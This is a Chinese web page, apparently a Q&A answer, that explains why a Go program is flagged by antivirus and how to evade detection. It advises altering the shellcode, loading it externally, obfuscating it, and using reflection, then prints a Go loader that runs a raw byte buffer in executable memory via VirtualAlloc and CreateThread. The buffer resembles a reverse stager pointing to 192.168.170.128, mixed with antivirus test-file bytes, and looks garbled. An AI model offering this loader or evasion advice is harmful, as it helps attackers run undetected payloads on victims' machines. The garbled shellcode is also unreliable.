Go 代码被杀软查杀原因分析及解决方法
这段代码可能被杀软查杀是因为其中包含了可疑的 shellcode。为了修改这个问题,可以尝试以下措施:
-
使用其他的 shellcode,或者对原来的 shellcode 进行修改,使其不再被杀软识别为可疑代码。
-
将 shellcode 放在外部文件中,运行时再进行读取,避免将代码直接写入程序中,从而避免被杀软检测到。
-
使用代码混淆技术,使代码难以被静态分析,从而使杀软难以检测到其中的可疑代码。
-
使用反射技术,避免直接调用被杀软监控的系统函数,从而使代码更难被杀软识别。
package main
import (
'syscall'
'unsafe'
)
var (
kernel32 = syscall.NewLazyDLL('kernel32.dll')
virtualAlloc = kernel32.NewProc('VirtualAlloc')
createThread = kernel32.NewProc('CreateThread')
waitForSingleObj = kernel32.NewProc('WaitForSingleObject')
)
func main() {
buf := []byte{
0x2d, 0x53, 0x54, 0x41, 0x4e, 0x44, 0x41, 0x52, 0x44, 0x2d, 0x41, 0x4e, 0x54, 0x49,
0x56, 0x49, 0x52, 0x55, 0x53, 0x2d, 0x54, 0x45, 0x53, 0x54, 0x2d, 0x46, 0x49, 0x4c,
0x45, 0x21, 0x24, 0x48, 0x2b, 0x48, 0x2a, 0x00, 0x35, 0x4f, 0x21, 0x50, 0x25, 0x40,
0x41, 0x50, 0x5b, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68,
0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53,
0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89,
0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2,
0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5,
0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38,
0x2e, 0x31, 0x37, 0x30, 0x2e, 0x31, 0x32, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00,
}
shellcodeSize := len(buf)
shellcode, _, _ := virtualAlloc.Call(
0,
uintptr(shellcodeSize),
0x1000|0x2000|0x40,
0x40,
)
copy((*[1 << 30]byte)(unsafe.Pointer(shellcode))[:shellcodeSize], buf)
_, _, _ = createThread.Call(
0,
0,
shellcode,
0,
0,
0,
)
_, _, _ = waitForSingleObj.Call(
uintptr(0xffffffff),
uintptr(0xffffffff),
)
}
原文地址: https://www.cveoy.top/t/topic/mvZL 著作权归作者所有。请勿转载和采集!